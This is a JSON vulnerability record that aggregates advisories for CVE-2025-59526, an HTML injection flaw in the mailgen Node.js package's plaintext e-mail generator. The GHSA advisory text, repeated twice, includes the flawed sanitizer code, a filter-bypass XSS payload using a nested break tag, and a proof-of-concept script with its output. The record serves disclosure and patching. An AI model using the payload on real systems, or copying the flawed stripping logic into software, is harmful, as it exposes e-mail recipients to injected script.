{"id":"CVE-2025-59526","aliases":["EUVD-2025-30449","GHSA-j2xj-h7w5-r7vp"],"status":"published","title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","severity":{"version":"4.0","score":2.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00438,"percentile":0.3855,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-09-22T18:03:47Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"npm","package":"mailgen","fixed_in":["2.0.30"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"mailgen","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.30"}]}]},{"source":"osv","ecosystem":"npm","package":"mailgen","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.30"}]}]}],"products":[{"vendor":"eladnava","product":"mailgen"}],"references":[{"url":"https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59526","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j2xj-h7w5-r7vp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59526.json","tags":["advisory"]},{"url":"https://github.com/eladnava/mailgen","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-59526","title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","status":"published","published":"2025-09-22T19:27:53.323Z","modified":"2025-09-22T19:45:47.069Z","cvss":[{"version":"4.0","score":2.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U","level":"low","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:47.812946Z"}],"euvd":[{"id":"EUVD-2025-30449","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","status":"published","published":"2025-09-22T19:27:53Z","modified":"2025-09-22T19:45:47Z","cvss":[{"version":"4.0","score":2.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U","level":"low"}],"updated_at":"2026-11-02T20:31:40.869423Z"}],"ghsa":[{"id":"GHSA-j2xj-h7w5-r7vp","title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error('An error was encountered while loading the plaintext theme.');\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, '');\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, '\\n');\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c.+?\u003e/g, '');\n\n    // Decode HTML entities such as \u0026copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `\u003cimg\u003cbr\u003e src=xyz onerror=alert(1)\u003e`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require('mailgen');\n\nvar mailGenerator = new Mailgen({\n    theme: 'default',\n    product: {\n        name: 'Mailgen',\n        link: 'https://mailgen.js/'\n    }\n});\n\nvar email = {\n    body: {\n        name: 'John \u003cimg\u003cbr\u003e src=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed',\n        intro: 'Welcome to Mailgen! We\\'re very excited to have you on board.',\n        action: {\n            instructions: 'To get started with Mailgen, please click here:',\n            button: {\n                color: '#22BC66',\n                text: 'Confirm your account',\n                link: 'secret-link'\n            }\n        },\n        outro: 'Need help, or have questions? Just reply to this email, we\\'d love to help.'\n    }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire('fs').writeFileSync('emailText.txt', emailText, 'utf8');\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John \u003cimg\nsrc=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed,\n\nWelcome to Mailgen! We're very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we'd love to help.        \n\nYours truly,  \nMailgen\n\n© 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.","status":"published","published":"2025-09-22T18:03:47Z","modified":"2025-09-23T20:50:37Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:58.965005Z"}],"nvd":[{"id":"CVE-2025-59526","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","status":"published","published":"2025-09-22T20:15:39.2Z","modified":"2026-10-11T20:10:00.2Z","cvss":[{"version":"4.0","score":2.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:32.559087Z"}],"osv":[{"id":"CVE-2025-59526","title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","status":"published","published":"2025-09-22T19:27:53.323Z","modified":"2026-10-28T02:30:57.333247854Z","cvss":[{"version":"4.0","score":2.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:51.516975Z"},{"id":"GHSA-j2xj-h7w5-r7vp","title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error('An error was encountered while loading the plaintext theme.');\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, '');\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, '\\n');\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c.+?\u003e/g, '');\n\n    // Decode HTML entities such as \u0026copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `\u003cimg\u003cbr\u003e src=xyz onerror=alert(1)\u003e`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require('mailgen');\n\nvar mailGenerator = new Mailgen({\n    theme: 'default',\n    product: {\n        name: 'Mailgen',\n        link: 'https://mailgen.js/'\n    }\n});\n\nvar email = {\n    body: {\n        name: 'John \u003cimg\u003cbr\u003e src=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed',\n        intro: 'Welcome to Mailgen! We\\'re very excited to have you on board.',\n        action: {\n            instructions: 'To get started with Mailgen, please click here:',\n            button: {\n                color: '#22BC66',\n                text: 'Confirm your account',\n                link: 'secret-link'\n            }\n        },\n        outro: 'Need help, or have questions? Just reply to this email, we\\'d love to help.'\n    }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire('fs').writeFileSync('emailText.txt', emailText, 'utf8');\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John \u003cimg\nsrc=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed,\n\nWelcome to Mailgen! We're very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we'd love to help.        \n\nYours truly,  \nMailgen\n\n© 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.","status":"published","published":"2025-09-22T18:03:47Z","modified":"2025-09-23T20:50:37Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:49.977351Z"}]}}
